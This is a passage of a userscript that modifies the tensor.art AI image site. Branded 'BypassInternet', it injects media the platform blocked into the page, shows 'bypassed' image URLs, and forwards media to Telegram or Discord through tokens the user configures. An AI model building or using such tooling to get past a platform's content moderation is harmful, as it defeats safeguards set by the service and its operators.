if (settings.telegramEnabled && settings.telegramChatId) {
const telegramBtn = document.createElement('button');
telegramBtn.style.cssText = `
background: rgba(0, 136, 204, 0.9);
color: var(--text-anti, #ffffff);
border: none;
border-radius: 28px;
padding: 12px 24px;
cursor: pointer;
font-size: 14px;
font-weight: 600;
display: flex;
align-items: center;
gap: 8px;
transition: all 0.3s;
`;
telegramBtn.innerHTML = '<i class="fab fa-telegram"></i> Telegram';
telegramBtn.onmouseover = () => telegramBtn.style.background = 'rgba(0, 136, 204, 1)';
telegramBtn.onmouseout = () => telegramBtn.style.background = 'rgba(0, 136, 204, 0.9)';
telegramBtn.onclick = async () => {
try {
const safeUrl = await getFreshModalUrlForActions();
const meta = imageId ? getItemMetaFromId(imageId) : {};
const result = await sendToTelegram(safeUrl, mimeType || 'image/png', taskId, createdAt, '', imageId || null, {
workspaceType: meta.workspaceType,
templateName: meta.workflowTemplateInfo?.name || meta.workflowInfo?.name || '',
templateId: meta.workflowTemplateInfo?.workflowTemplateId || meta.workflowInfo?.workflowId || ''
});
if (!result?.ok && result?.error) {
showToast(`Telegram failed: ${result.error}`, 'error');
}
telegramBtn.innerHTML = result?.ok
? (result.mode === 'url' ? '<i class="fas fa-link"></i> URL Sent' : '<i class="fas fa-check"></i> Sent!')
: '<i class="fas fa-triangle-exclamation"></i> Failed';
setTimeout(() => {
telegramBtn.innerHTML = '<i class="fab fa-telegram"></i> Telegram';
}, 2000);
} catch (err) {
console.warn('Telegram failed:', err);
}
};
actionOverlay.appendChild(telegramBtn);
}
if (settings.discordEnabled && settings.discordWebhook) {
const discordBtn = document.createElement('button');
discordBtn.style.cssText = `
background: rgba(88, 101, 242, 0.9);
color: var(--text-anti, #ffffff);
border: none;
border-radius: 28px;
padding: 12px 24px;
cursor: pointer;
font-size: 14px;
font-weight: 600;
display: flex;
align-items: center;
gap: 8px;
transition: all 0.3s;
`;
discordBtn.innerHTML = '<i class="fab fa-discord"></i> Discord';
discordBtn.onmouseover = () => discordBtn.style.background = 'rgba(88, 101, 242, 1)';
discordBtn.onmouseout = () => discordBtn.style.background = 'rgba(88, 101, 242, 0.9)';
discordBtn.onclick = async () => {
try {
const safeUrl = await getFreshModalUrlForActions();
const meta = imageId ? getItemMetaFromId(imageId) : {};
const result = await sendToDiscord(safeUrl, mimeType || 'image/png', taskId, createdAt, '', imageId || null, {
workspaceType: meta.workspaceType,
templateName: meta.workflowTemplateInfo?.name || meta.workflowInfo?.name || '',
templateId: meta.workflowTemplateInfo?.workflowTemplateId || meta.workflowInfo?.workflowId || ''
});
if (!result?.ok && result?.error) {
showToast(`Discord failed: ${result.error}`, 'error');
}
discordBtn.innerHTML = result?.ok
? (result.mode === 'url' ? '<i class="fas fa-link"></i> URL Sent' : '<i class="fas fa-check"></i> Sent!')
: '<i class="fas fa-triangle-exclamation"></i> Failed';
setTimeout(() => {
discordBtn.innerHTML = '<i class="fab fa-discord"></i> Discord';
}, 2000);
} catch (err) {
console.warn('Discord failed:', err);
}
};
actionOverlay.appendChild(discordBtn);
}
imageContainer.appendChild(actionOverlay);
// Right side - Details panel
const detailsContainer = document.createElement('div');
detailsContainer.style.cssText = `
width: 420px;
overflow-y: auto;
border-left: 1px solid var(--stroke-secondary, #475569);
padding: 28px;
background: var(--background-primary, #0f172a);
color: var(--text-primary, #f1f5f9);
display: flex;
flex-direction: column;
gap: 20px;
`;
const detailRows = getDetailRows(
{
id: imageId,
imageId,
mimeType,
taskId,
createdAt,
expiresAt: expireAt,
width: itemMap.get(imageId || '')?.width || null,
height: itemMap.get(imageId || '')?.height || null
},
imageId ? resolveTaskData(taskId || '') : null,
imageUrl
);
const detailsHtml = `
<div>
<h2 style="font-size: 14px; color: var(--color-main, #6366f1); font-weight: 600; margin: 0 0 12px 0; text-transform: uppercase; letter-spacing: 0.5px;">${isVideo ? 'Media Details' : 'Image Details'}</h2>
<div style="border-radius: 8px; border: 1px solid var(--stroke-secondary, rgba(99, 102, 241, 0.2)); background: var(--fill-default, rgba(99, 102, 241, 0.05)); padding: 12px; font-size: 13px; line-height: 1.8; color: var(--text-secondary, #cbd5e1);">
${detailRows.join('') || '<div>No details available</div>'}
</div>
</div>
${settings.showBypassedLink ? `<div>
<h2 style="font-size: 14px; color: var(--color-main, #6366f1); font-weight: 600; margin: 0 0 12px 0; text-transform: uppercase; letter-spacing: 0.5px;">Image URL</h2>
<div style="border-radius: 8px; border: 1px solid var(--stroke-secondary, rgba(99, 102, 241, 0.2)); background: var(--fill-default, rgba(99, 102, 241, 0.05)); padding: 12px; font-size: 11px; max-height: 100px; overflow-y: auto; word-break: break-all; font-family: 'Courier New', monospace; color: var(--text-secondary, #cbd5e1);">
${escapeHtml(imageUrl)}
</div>
</div>` : ''}
<div style="flex: 1;"></div>
<div style="padding-top: 12px; border-top: 1px solid var(--stroke-secondary, #475569); font-size: 11px; color: var(--text-tertiary, #cbd5e1); text-align: center;">
<i class="fas fa-shield-alt"></i> BypassInternet v1.0
</div>
`;
detailsContainer.innerHTML = detailsHtml;
// Close button
const closeBtn = document.createElement('button');
closeBtn.style.cssText = `
position: absolute;
top: 16px;
right: 16px;
background: rgba(239, 68, 68, 0.2);
color: #ef4444;
border: 1px solid rgba(239, 68, 68, 0.3);
width: 44px;
height: 44px;
border-radius: 50%;
cursor: pointer;
font-size: 20px;
display: flex;
align-items: center;
justify-content: center;
z-index: 101;
transition: all 0.3s;
`;
closeBtn.innerHTML = '✕';
closeBtn.onmouseover = () => {
closeBtn.style.background = 'rgba(239, 68, 68, 0.3)';
};
closeBtn.onmouseout = () => {
closeBtn.style.background = 'rgba(239, 68, 68, 0.2)';
};
closeBtn.onclick = () => {
overlay.style.animation = 'modalOut 0.3s ease forwards';
setTimeout(() => overlay.remove(), 300);
};
modal.appendChild(closeBtn);
modal.appendChild(imageContainer);
modal.appendChild(detailsContainer);
overlay.appendChild(modal);
// Close on overlay click
overlay.onclick = (e) => {
if (e.target === overlay) {
overlay.style.animation = 'modalOut 0.3s ease forwards';
setTimeout(() => overlay.remove(), 300);
}
};
// Add animations
const style = document.createElement('style');
style.textContent = `
@keyframes modalIn {
from { opacity: 0; transform: scale(0.95); }
to { opacity: 1; transform: scale(1); }
}
@keyframes modalOut {
from { opacity: 1; transform: scale(1); }
to { opacity: 0; transform: scale(0.95); }
}
`;
overlay.appendChild(style);
document.body.appendChild(overlay);
}
function isTemplateLikePage() {
const href = window.location.href;
return /template|workspace|workflow\/editor/i.test(href);
}
function startDomInjectionWatcher() {
if (domInjectInterval) {
clearInterval(domInjectInterval);
}
const needsCommunityInject = settings.communityShareEnabled && IS_TENSOR_DOMAIN;
if (settings.xhrInterceptEnabled && !needsCommunityInject) {
console.log('[InjectDOM][Watcher] Not started: XHR Intercept mode is enabled.');
return;
}
if (!settings.injectOnDom && !settings.safeViewMode && !isTemplateLikePage() && !needsCommunityInject) {
console.log('[InjectDOM][Watcher] Not started: both Inject On DOM and Safe View are disabled on this page.', {
injectOnDom: settings.injectOnDom,
safeViewMode: settings.safeViewMode,
href: window.location.href
});
return;
}
console.log('[InjectDOM][Watcher] Started', {
injectOnDom: settings.injectOnDom,
safeViewMode: settings.safeViewMode,
templatePage: isTemplateLikePage(),
href: window.location.href
});
domInjectInterval = setInterval(() => {
const onTemplate = isTemplateLikePage();
if (!settings.xhrInterceptEnabled) {
if (settings.injectOnDom || settings.safeViewMode || onTemplate) {
injectBlockedMediaIntoDom();
injectCacheLoadButton();
}
}
if (settings.communityShareEnabled && onTemplate) {
injectCommunityShareButton();
}
if (settings.communityShareEnabled && settings.communityShowOnHome && IS_TENSOR_DOMAIN) {
const isHome = location.pathname === '/' || location.pathname === '';
if (isHome) injectCommunityHomeSection();
}
}, 500);
}
function stopDomInjectionWatcher() {
if (domInjectInterval) {
clearInterval(domInjectInterval);
domInjectInterval = null;
}
}
// ── Community Home Page Section Injection ────────────────────────────────────
const COMMUNITY_HOME_CACHE_KEY = 'freeBypassCommunityHomeToolsV1';
const COMMUNITY_HOME_CACHE_TTL = 60 * 60 * 1000; // 1 hour
let _communityHomeData = null; // in-memory cache so re-injection after SPA re-render is instant
let _communityHomeFetching = false; // guards parallel network requests only
let _communityHomeObserver = null; // MutationObserver watching the stable outer wrapper
function _buildCommunityToolCard(tool) {
const showcase = (Array.isArray(tool.showcases) && tool.showcases.length)
? tool.showcases[0]
: null;
const imgUrl = showcase?.url || '';
const isVideo = imgUrl.endsWith('.mp4') || (showcase?.contentRating ?? '').length === 0 && imgUrl.includes('.mp4');
const ownerName = tool.owner?.name || tool.owner?.owner_name || 'Unknown';
const ownerAvatar = tool.owner?.avatar || tool.owner?.owner_avatar || '';
const toolName = tool.name || tool.workflowTemplateId;
const runCount = tool.run_count ?? tool.runCount ?? 0;
const recCount = tool.recommended_count ?? tool.recommendedCount ?? 0;
const tid = tool.workflowTemplateId;
const href = `/template/${encodeURIComponent(tid)}`;
const a = document.createElement('a');
a.href = href;
a.className = 'group w-full bg-bg-on-secondary block rd-12 overflow-hidden transition cursor-pointer mb-8 lg:mb-12';
a.style.cssText = 'text-decoration:none; display:block;';
let mediaPart;
if (imgUrl) {
if (isVideo) {
mediaPart = `<video class="w-full h-full relative" autoplay loop muted poster="" disablepictureinpicture playsinline style="object-fit:cover;object-position:center top;"><source src="${escapeHtml(imgUrl)}"></video>`;
} else {
mediaPart = `<img src="${escapeHtml(imgUrl)}" alt="${escapeHtml(toolName)}" style="width:100%;height:100%;object-fit:cover;object-position:center;" loading="lazy">`;
}
} else {
mediaPart = `<div style="width:100%;height:100%;background:linear-gradient(135deg,#1e293b,#0f172a);display:flex;align-items:center;justify-content:center;"><i class="fas fa-wand-magic-sparkles" style="font-size:28px;color:rgba(99,102,241,0.5);"></i></div>`;
}
a.innerHTML = `
<article class="relative">
<div class="w-full relative aspect-[4/3]">
<div class="relative w-full h-full overflow-hidden" style="aspect-ratio:4/3;">
${mediaPart}
</div>
<div class="invisible group-hover:visible absolute top-0 left-0 bottom-0 right-0 bg-[rgba(0,0,0,0.25)]"></div>
<div class="invisible group-hover:visible absolute top-0 left-0 p-12 flex gap-8 z-2" style="align-items:center;">
${ownerAvatar ? `<div style="width:24px;height:24px;border-radius:50%;overflow:hidden;flex-shrink:0;"><img src="${escapeHtml(ownerAvatar)}" width="24" alt="${escapeHtml(ownerName)}" referrerpolicy="unsafe-url" crossorigin="anonymous" loading="lazy" style="width:100%;height:100%;object-fit:cover;"></div>` : ''}
<div class="text-14 lh-20 c-white" style="overflow:hidden;white-space:nowrap;text-overflow:ellipsis;">${escapeHtml(ownerName)}</div>
</div>
<div class="absolute bottom-0 left-0 z-10 p-12 w-full" style="background:linear-gradient(to top,rgba(0,0,0,0.85) 0%,transparent 100%);padding-top:32px;">
<div style="display:flex;align-items:center;justify-content:space-between;gap:8px;">
<h3 class="ta-title-16 c-white" style="flex:1;margin:0;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;font-size:14px;font-weight:700;" title="${escapeHtml(toolName)}">${escapeHtml(toolName)}</h3>
<div style="display:flex;align-items:center;font-size:12px;color:rgba(255,255,255,0.9);gap:10px;flex-shrink:0;">
<span title="Run count"><i class="fas fa-play" style="margin-right:3px;"></i>${Number(runCount).toLocaleString()}</span>
<span title="Recommendations" style="color:#a5f3de;"><i class="fas fa-thumbs-up" style="margin-right:3px;"></i>${Number(recCount).toLocaleString()}</span>
</div>
</div>
<div class="invisible group-hover:visible" style="height:auto;margin-top:8px;">
<div style="display:inline-flex;align-items:center;justify-content:center;padding:6px 12px;border-radius:8px;background:rgba(99,102,241,0.9);color:#fff;font-size:12px;font-weight:700;width:100%;">
<i class="fas fa-play" style="margin-right:6px;"></i>Try
</div>
</div>
</div>
</div>
</article>`;
return a;
}
async function injectCommunityHomeSection() {
// Already injected and still alive in DOM → nothing to do
if (document.getElementById('fi-community-home-section')) return;
// ── Locate injection host ─────────────────────────────────────────────────
// Primary host: <div class="mx-16 md:mx-0"> (inner, gets re-rendered by Vue)
// Stable outer: <div class="md:mr-24 pt-12 ..."> (outer wrapper, rarely replaced)
const _findHost = () =>
document.querySelector('div.mx-16.md\\:mx-0') ||
document.querySelector('div.mx-16') ||
(() => { for (const d of document.querySelectorAll('div')) if (d.classList.contains('mx-16')) return d; return null; })();
const host = _findHost();
if (!host) return; // host not rendered yet — 500ms interval will retry
// ── Resolve tools: memory → localStorage → nothing ───────────────────────
let tools = _communityHomeData;
if (!tools) {
try {
const stored = localStorage.getItem(COMMUNITY_HOME_CACHE_KEY);
if (stored) {
const parsed = JSON.parse(stored);
if (parsed?.at && (Date.now() - parsed.at) < COMMUNITY_HOME_CACHE_TTL
&& Array.isArray(parsed.data) && parsed.data.length) {
tools = parsed.data;
_communityHomeData = tools;
}
}
} catch { /* ignore */ }
}
// ── Build & inject section synchronously ─────────────────────────────────
const _buildSection = () => {
const section = document.createElement('section');
section.id = 'fi-community-home-section';
section.className = 'flex flex-col gap-16';
section.style.cssText = 'margin-bottom: 32px;';
const hdiv = document.createElement('div');
hdiv.className = 'flex-c';
hdiv.innerHTML = `<h2 class="c-text-primary text-32 fw-600 lh-38" style="font-size:24px;font-weight:700;margin:0;">FreeInternet Community AI Tools</h2>`;
section.appendChild(hdiv);
const grid = document.createElement('div');
grid.className = 'fi-community-grid flex-1 grid gap-x-8 lg:gap-x-12';
grid.style.cssText = 'display:grid; grid-template-columns:repeat(auto-fill,minmax(200px,1fr)); gap:8px 12px; overflow:hidden;';
section.appendChild(grid);
const footer = document.createElement('div');
footer.className = 'flex-c-c';
footer.innerHTML = `<a href="https://tensor.art/notifications?type=COMMUNITY" style="text-decoration:none;"><button class="vi-button vi-button--size-large vi-button--type-primary-outline" style="min-width:268px;" type="button"><div class="vi-button__wrap">View All FreeInternet Community AI Tools</div></button></a>`;
section.appendChild(footer);
return { section, grid };
};
const _doInject = (targetHost) => {
// Double-check not already present
if (document.getElementById('fi-community-home-section')) return;
const { section, grid } = _buildSection();
targetHost.insertBefore(section, targetHost.firstChild);
if (_communityHomeData?.length) {
_renderCommunityHomeGrid(grid, _communityHomeData);
} else {
grid.innerHTML = `<div style="grid-column:1/-1;text-align:center;padding:32px;color:rgba(148,163,184,0.6);font-size:13px;"><i class="fas fa-spinner fa-spin" style="margin-right:8px;"></i>Loading community tools…</div>`;
}
};
_doInject(host);
// ── MutationObserver: re-inject if section disappears ────────────────────
// Watch the stable OUTER wrapper (parent of mx-16 div). When Vue replaces the
// inner mx-16 div, our section is removed, and the observer re-injects instantly.
const stableAnchor = host.parentElement || host;
if (_communityHomeObserver) {
_communityHomeObserver.disconnect();
_communityHomeObserver = null;
}
_communityHomeObserver = new MutationObserver(() => {
if (!settings.communityShareEnabled || !settings.communityShowOnHome) return;
if (document.getElementById('fi-community-home-section')) return;
// Host may have been replaced — re-find it
const newHost = _findHost();
if (newHost) _doInject(newHost);
});
_communityHomeObserver.observe(stableAnchor, { childList: true, subtree: true });
// ── Background fetch (one at a time) ─────────────────────────────────────
if (!_communityHomeFetching) {
_communityHomeFetching = true;
communityFetchTools(false).then(fresh => {
if (fresh?.length) {
_communityHomeData = fresh;
try {
localStorage.setItem(COMMUNITY_HOME_CACHE_KEY, JSON.stringify({ at: Date.now(), data: fresh }));
} catch { /* ignore */ }
const liveSection = document.getElementById('fi-community-home-section');
if (liveSection) {
const liveGrid = liveSection.querySelector('.fi-community-grid');
if (liveGrid) _renderCommunityHomeGrid(liveGrid, fresh);
}
}
}).catch(() => { /* keep cached view */ })
.finally(() => { _communityHomeFetching = false; });
}
}
function _renderCommunityHomeGrid(grid, toolList) {
grid.innerHTML = '';
const toShow = toolList.slice(0, 8);
if (!toShow.length) {
grid.innerHTML = `<div style="grid-column:1/-1;text-align:center;padding:32px;color:rgba(148,163,184,0.6);font-size:13px;"><i class="fas fa-inbox" style="font-size:22px;display:block;margin-bottom:10px;opacity:0.4;"></i>No community tools yet.</div>`;
return;
}
toShow.forEach(tool => grid.appendChild(_buildCommunityToolCard(tool)));
}
function recordTaskData(task) {
if (!task) return;
const taskId = task.taskId || '';
const routeId = task.routeId || '';
const taskData = {
taskId,
routeId,
createdAt: task.createdAt || null,
expireAt: task.expireAt || null,
userId: task.userId || null,
status: task.status || null,
workspaceType: task.workspaceType || null,
workflowInfo: task.workflowInfo || null,
workflowTemplateInfo: task.workflowTemplateInfo || null,
visualParameters: Array.isArray(task.visualParameters) ? task.visualParameters : [],
parameters: task.parameters || null,
mediaFlags: task.mediaFlags || null,
raw: task,
items: Array.isArray(task.items) ? task.items : [],
source: task.source || 'tensor.art', // Track task source (tensor.art or tensorhub.art)
recordedAt: task.recordedAt || Date.now()
};
if (taskId) taskMap.set(taskId, taskData);
if (routeId) taskMap.set(routeId, taskData);
// Associate task with current user token
if (userToken && taskId) {
associateTaskWithAccount(userToken, taskId, taskData);
}
taskData.items.forEach(item => {
if (!item?.imageId) return;
itemMap.set(item.imageId, {
imageId: item.imageId,
taskId,
routeId,
invalid: item.invalid,
mimeType: item.mimeType,
url: item.url,
width: item.width,
height: item.height,
seed: item.seed,
downloadFileName: item.downloadFileName,
workflowTemplateInfo: task.workflowTemplateInfo || null,
workflowInfo: task.workflowInfo || null,
visualParameters: Array.isArray(task.visualParameters) ? task.visualParameters : [],
parameters: task.parameters || null,
workspaceType: task.workspaceType || null,
rawTask: task,
source: task.source || 'tensor.art'
});
});
}
function extractLongIdTokens(text) {
if (!text) return [];
const matches = String(text).match(/\b\d{16,32}\b/g);
return matches ? Array.from(new Set(matches)) : [];
}
function extractTaskIdCandidatesFromDetails(detailsBlock) {
if (!detailsBlock) return [];
const candidates = [];
const pushCandidates = (value) => {
extractLongIdTokens(value).forEach(id => {
if (!candidates.includes(id)) candidates.push(id);
});
};
// 1) High-confidence: rows explicitly labeled Task ID / Route ID / ID.
const rows = Array.from(detailsBlock.querySelectorAll('div'));
for (const row of rows) {
const text = row.textContent || '';
if (!/(^|\b)(task\s*id|route\s*id|id)\b/i.test(text)) continue;
const spans = Array.from(row.querySelectorAll('span'));
spans.forEach(span => pushCandidates(span.textContent || ''));
pushCandidates(text);
}
// 2) Monospace value containers often hold the actual ID.
const monoNodes = Array.from(detailsBlock.querySelectorAll('span.font-mono, .font-mono'));
monoNodes.forEach(node => pushCandidates(node.textContent || ''));
// 3) Attribute-based fallback.
[
detailsBlock.getAttribute('data-task-id'),
detailsBlock.getAttribute('data-route-id'),
detailsBlock.getAttribute('data-id'),
detailsBlock.closest('[data-task-id]')?.getAttribute('data-task-id'),
detailsBlock.closest('[data-route-id]')?.getAttribute('data-route-id')
].forEach(value => pushCandidates(value || ''));
// 4) Pattern fallback inside details text (only if tied to ID labels).
const labelPattern = /(task\s*id|route\s*id|\bid\b)\D{0,20}(\d{16,32})/ig;
const blockText = detailsBlock.textContent || '';
let match;
while ((match = labelPattern.exec(blockText)) !== null) {
if (match[2]) pushCandidates(match[2]);
}
return candidates;
}
function isLikelyDetailsBlock(detailsBlock) {
if (!detailsBlock) return false;
const hasDetailsHeading = Array.from(detailsBlock.querySelectorAll('h4, h3, span'))
.some(node => /details/i.test(node.textContent || ''));
const hasTaskIdLabel = Array.from(detailsBlock.querySelectorAll('span, div'))
.some(node => /task\s*id/i.test(node.textContent || ''));
return hasDetailsHeading || hasTaskIdLabel;
}
function buildTaskLookupVariants(taskId) {
const raw = String(taskId || '').trim();
if (!raw) return [];
const variants = [];
const add = (value) => {
const v = String(value || '').trim();
if (!v) return;
if (!variants.includes(v)) variants.push(v);
};
add(raw);
// Route ID is often taskId + 4-digit suffix (e.g. ...0032).
if (/^\d{20,32}$/.test(raw)) {
add(raw.slice(0, -4));
add(raw.slice(0, 18));
}
if (/^\d{18}$/.test(raw)) {
add(`${raw}0032`);
}
return variants;
}
function extractTaskIdFromDetails(detailsBlock) {
const candidates = extractTaskIdCandidatesFromDetails(detailsBlock);
return candidates[0] || null;
}
function extractTaskIdFromHeaderText(text) {
if (!text) return null;
const match = text.match(/ID:\s*(\d{6,})/i);
return match ? match[1] : null;
}
function resolveTaskData(taskId) {
if (!taskId) return null;
const lookupVariants = buildTaskLookupVariants(taskId);
for (const variant of lookupVariants) {
const direct = taskMap.get(variant);
if (direct) return direct;
}
// Fuzzy match against known keys (taskId/routeId)
const lookupSet = new Set(lookupVariants.length ? lookupVariants : [String(taskId)]);
for (const [key, value] of taskMap.entries()) {
if (!key) continue;
for (const variant of lookupSet) {
if (variant.startsWith(key) || key.startsWith(variant)) {
return value;
}
}
}
return null;
}
function findCachedTaskByAnyId(taskId, cachedTasks = []) {
if (!taskId || !Array.isArray(cachedTasks) || !cachedTasks.length) return null;
const variants = buildTaskLookupVariants(taskId);
for (const task of cachedTasks) {
if (!task) continue;
const taskKey = String(task.taskId || '').trim();
const routeKey = String(task.routeId || '').trim();
for (const variant of variants) {
if (!variant) continue;
if (variant === taskKey || variant === routeKey) return task;
if (taskKey && (variant.startsWith(taskKey) || taskKey.startsWith(variant))) return task;
if (routeKey && (variant.startsWith(routeKey) || routeKey.startsWith(variant))) return task;
}
}
return null;
}
async function ensureDownloadUrl(imageId, mimeTypeHint = '', options = {}) {
if (!imageId) return null;
// Make sure persisted cache entries are available before attempting resolution.
loadDownloadUrlCacheFromStorage();
const cacheKey = getDownloadCacheKey(imageId, mimeTypeHint, options.forceKind || '');
const bypassCache = !!options.bypassCache;
const minExpiryMs = Math.max(0, Number(options?.minExpiryMs) || 0);
if (!bypassCache) {
const existing = getCachedDownloadUrl(imageId, mimeTypeHint, options.forceKind || '');
if (existing && (!minExpiryMs || isUsableBypassMediaUrl(existing, { minRemainingMs: minExpiryMs }))) {
if (domInjectDebug) console.log('[Cache] Using cached URL for', { imageId, cacheKey });
return existing;
}
if (existing && minExpiryMs) {
deleteCachedDownloadUrl(imageId);
}
}
try {
const url = await resolveDownloadUrl(imageId, mimeTypeHint, options);
if (url) {
setCachedDownloadUrl(imageId, url, mimeTypeHint, options.forceKind || '');
}
return url;
} catch (err) {
console.warn('Failed to fetch download URL for', imageId, err);
devLog('download', 'Failed to fetch download URL', { imageId, error: String(err?.stack || err) }, 'error', 'developer');
return null;
}
}
async function sendToTelegram(mediaUrl, mediaType, taskId, createdAt, imageSize, imageId = null, extraInfo = {}) {
if (!settings.telegramEnabled || !settings.telegramToken || !settings.telegramChatId) {
console.warn('[Telegram] Telegram not configured');
devLog('telegram', 'Telegram not configured (skipped send)', { enabled: !!settings.telegramEnabled, hasToken: !!settings.telegramToken, hasChatId: !!settings.telegramChatId }, 'warning', 'developer');
return { ok: false, mode: 'error', error: 'Telegram not configured' };
}
const delayMs = Math.max(0, Number(settings.telegramDelaySeconds) || 0) * 1000;
if (delayMs > 0) {
await sleep(delayMs);
}
const caption = buildTelegramCaption(taskId, createdAt, imageSize, extraInfo);
const keyForStatus = imageId || taskId || mediaUrl;
const sendMessageFallback = async (reason = '', retryAfterMs = null) => {
const urlHtml = `<a href="${escapeHtml(mediaUrl)}">Open media</a>`;
const text = `${caption}${reason ? `\n\n<b>Note:</b> ${escapeHtml(reason)}` : ''}\n\n${urlHtml}`;
const response = await fetch(`https://api.telegram.org/bot${settings.telegramToken}/sendMessage`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
chat_id: settings.telegramChatId,
text,
parse_mode: 'HTML',
disable_web_page_preview: true
})
});
if (response.ok) {
updateMediaStatus(keyForStatus, { telegram: true });
return { ok: true, mode: 'url', retryAfterMs: null };
}
const { json, text: bodyText } = await tryReadJsonSafe(response);
const retryAfter = Number(json?.parameters?.retry_after);
const retryMs = Number.isFinite(retryAfter) ? retryAfter * 1000 : retryAfterMs;
devLog('telegram', 'Telegram URL fallback failed', { status: response.status, statusText: response.statusText, body: bodyText, taskId, imageId }, 'error', 'developer');
return { ok: false, mode: 'error', error: `Telegram sendMessage failed: ${response.status} ${response.statusText}`, retryAfterMs: retryMs || null };
};
const sendDocumentByUpload = async () => {
try {
const controller = new AbortController();
const timeout = setTimeout(() => controller.abort(), 30000);
const resp = await fetch(mediaUrl, { signal: controller.signal });
clearTimeout(timeout);
if (!resp.ok) {
return { ok: false, mode: 'error', error: `Upload fetch failed: ${resp.status} ${resp.statusText}`, retryAfterMs: null };
}
const blob = await resp.blob();
if (!blob || !Number.isFinite(blob.size)) {
return { ok: false, mode: 'error', error: 'Upload fetch failed: invalid blob', retryAfterMs: null };
}
const maxBytes = clampNumber(settings.telegramMaxUploadBytes, 1 * 1024 * 1024, 2048 * 1024 * 1024, 45 * 1024 * 1024);
if (blob.size > maxBytes) {
return { ok: false, mode: 'error', error: `File too large for Telegram upload (${Math.round(blob.size / (1024 * 1024))}MB > ${Math.round(maxBytes / (1024 * 1024))}MB)`, retryAfterMs: null };
}
const ext = extFromMime(mediaType) || guessExtension(mediaType, mediaUrl) || 'bin';
const safeId = imageId || taskId || Date.now();
const fileName = `bypass_${safeId}.${ext}`;
const formData = new FormData();
formData.append('chat_id', settings.telegramChatId);
formData.append('caption', caption);
formData.append('parse_mode', 'HTML');
formData.append('document', blob, fileName);
const sendResp = await fetch(`https://api.telegram.org/bot${settings.telegramToken}/sendDocument`, {
method: 'POST',
body: formData
});
if (sendResp.ok) {
updateMediaStatus(keyForStatus, { telegram: true });
return { ok: true, mode: 'media', retryAfterMs: null };
}
const { json, text } = await tryReadJsonSafe(sendResp);
const retryAfter = Number(json?.parameters?.retry_after);
const retryMs = Number.isFinite(retryAfter) ? retryAfter * 1000 : null;
devLog('telegram', 'Telegram upload sendDocument failed', { status: sendResp.status, statusText: sendResp.statusText, body: text, taskId, imageId }, sendResp.status === 429 ? 'warning' : 'error', 'developer');
return { ok: false, mode: 'error', error: `Telegram upload failed: ${sendResp.status} ${sendResp.statusText}`, retryAfterMs: retryMs };
} catch (err) {
devLog('telegram', 'Telegram upload threw an error', { error: String(err?.stack || err), taskId, imageId }, 'warning', 'developer');
return { ok: false, mode: 'error', error: `Telegram upload error: ${String(err?.message || err)}`, retryAfterMs: null };
}
};
try {
const response = await fetch(`https://api.telegram.org/bot${settings.telegramToken}/sendDocument`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
chat_id: settings.telegramChatId,
document: mediaUrl,
caption,
parse_mode: 'HTML'
})
});
if (response.ok) {
if (domInjectDebug) console.log('[Telegram] Media sent successfully');
updateMediaStatus(keyForStatus, { telegram: true });
return { ok: true, mode: 'media', retryAfterMs: null };
}
const { json, text: bodyText } = await tryReadJsonSafe(response);
const retryAfter = Number(json?.parameters?.retry_after);
const retryMs = Number.isFinite(retryAfter) ? retryAfter * 1000 : null;
devLog('telegram', 'Telegram sendDocument failed', { status: response.status, statusText: response.statusText, body: bodyText, taskId, imageId }, response.status === 429 ? 'warning' : 'warning', 'developer');
// If Telegram can't fetch a protected/signed URL, upload fallback is more reliable than a plain URL message.
if (settings.telegramUploadMode === 'always' || settings.telegramUploadMode === 'fallback') {
const uploadResult = await sendDocumentByUpload();
if (uploadResult?.ok) return uploadResult;
if (uploadResult?.retryAfterMs) return uploadResult;
}
return await sendMessageFallback('Media send failed; sending URL instead.', retryMs);
} catch (err) {
console.warn('[Telegram] Error:', err);
devLog('telegram', 'Telegram send threw an error (fallback to URL)', { error: String(err?.stack || err), taskId, imageId }, 'warning', 'developer');
if (settings.telegramUploadMode === 'always') {
const uploadResult = await sendDocumentByUpload();
if (uploadResult?.ok) return uploadResult;
}
return await sendMessageFallback('Media send threw an error; sending URL instead.');
}
}
function buildTelegramCaption(taskId, createdAt, imageSize, extraInfo = {}) {
let caption = '<b>BypassInternet</b>\n\n';
if (settings.telegramIncludeData.toolName) {
caption += '<b>Tool:</b> FREEInternet-Bypass\n';
}
if (settings.telegramIncludeData.taskId && taskId) {
caption += `<b>Task ID:</b> <code>${taskId}</code>\n`;
}
if (settings.telegramIncludeData.date && createdAt) {
const date = new Date(normalizeTimestamp(createdAt));
caption += `<b>Created:</b> ${date.toLocaleString()}\n`;
}
if (settings.telegramIncludeData.imageSize && imageSize) {
caption += `<b>Size:</b> ${imageSize}\n`;
}
if (extraInfo?.workspaceType) {
caption += `<b>Creation:</b> ${escapeHtml(String(extraInfo.workspaceType).replace(/_/g, ' '))}\n`;
}
if (extraInfo?.templateName) {
caption += `<b>Template:</b> ${escapeHtml(extraInfo.templateName)}\n`;
}
if (extraInfo?.templateId) {
caption += `<b>Template ID:</b> <code>${escapeHtml(extraInfo.templateId)}</code>\n`;
}
return caption;
}
async function sendToDiscord(mediaUrl, mediaType, taskId, createdAt, imageSize, imageId = null, extraInfo = {}) {
if (!settings.discordEnabled || !settings.discordWebhook) {
if (domInjectDebug) console.log('[Discord] Disabled or no webhook configured');
devLog('discord', 'Discord not configured (skipped send)', { enabled: !!settings.discordEnabled, hasWebhook: !!settings.discordWebhook }, 'warning', 'developer');
return { ok: false, mode: 'error', error: 'Discord not configured' };
}
try {
const isVideo = mediaType === 'video' || (typeof mediaType === 'string' && mediaType.startsWith('video/'));
const scriptName = remoteConfig?.script?.display_name || 'FreeInternet Bypass';
const embed = {
title: `${isVideo ? 'Video' : 'Image'} Bypassed ${isVideo ? 'Video' : 'Image'}`,
description: scriptName,
color: 0x6366f1,
fields: [],
timestamp: new Date().toISOString(),
footer: {
text: 'FREEInternet-Bypass'
}
};
if (taskId) {
embed.fields.push({ name: 'Task ID', value: `\`${taskId}\``, inline: true });
}
if (createdAt) {
const date = new Date(normalizeTimestamp(createdAt));
embed.fields.push({ name: 'Created', value: date.toLocaleString(), inline: true });
}
if (imageSize) {
embed.fields.push({ name: 'Size', value: imageSize, inline: true });
}
embed.fields.push({ name: '🔧 Tool', value: 'FREEInternet-Bypass', inline: true });
if (extraInfo?.workspaceType) {
